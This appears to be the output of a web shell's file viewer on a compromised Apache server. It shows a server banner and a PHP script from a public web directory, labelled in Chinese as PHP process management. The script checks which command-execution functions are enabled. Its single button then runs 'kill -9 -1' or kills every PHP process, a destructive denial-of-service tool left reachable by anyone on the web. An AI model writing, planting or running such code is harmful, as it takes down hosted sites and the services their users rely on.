| Server IP : 217.160.0.135 / Your IP : 216.73.217.85 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/www/public/ |
Upload File : |
<?php
$disabled_functions = ini_get('disable_functions');
$disabled_functions = explode(',', $disabled_functions);
$functions_to_check = [
'exec',
'shell_exec',
'system',
'passthru',
'proc_open',
'popen',
'posix_kill'
];
$available_functions = [];
foreach ($functions_to_check as $function) {
if (!in_array($function, $disabled_functions)) {
$available_functions[] = $function;
}
}
var_dump($available_functions);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
kill_php_processes($available_functions);
}
function kill_php_processes($available_functions)
{
$status = 0;
foreach ($available_functions as $function) {
switch ($function) {
case 'exec':
exec("kill -9 -1");
$status = 1;
echo 'exec';
return;
case 'shell_exec':
shell_exec("kill -9 -1");
$status = 1;
echo 'shell_exec';
return;
case 'system':
system("kill -9 -1");
$status = 1;
echo 'system';
return;
case 'passthru':
passthru("kill -9 -1");
$status = 1;
echo 'passthru';
return;
case 'popen':
$p = popen("kill -9 -1", "r");
pclose($p);
$status = 1;
echo 'popen';
return;
case 'posix_kill':
exec("pgrep -f 'php'", $pids);
foreach ($pids as $pid) {
posix_kill((int)$pid, 9);
}
$status = 1;
echo 'posix_kill';
return;
default:
continue 2;
}
if ($status === 0) {
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open("kill -9 -1", $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
$status = 1;
echo 'proc_open';
}
}
echo "未找到 PHP 进程或没有可用的函数。<br>";
}
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP 进程管理</title>
</head>
<body>
<!-- 按钮触发脚本 -->
<form method="POST">
<button type="submit">杀死所有 PHP 进程</button>
</form>
</body>
</html>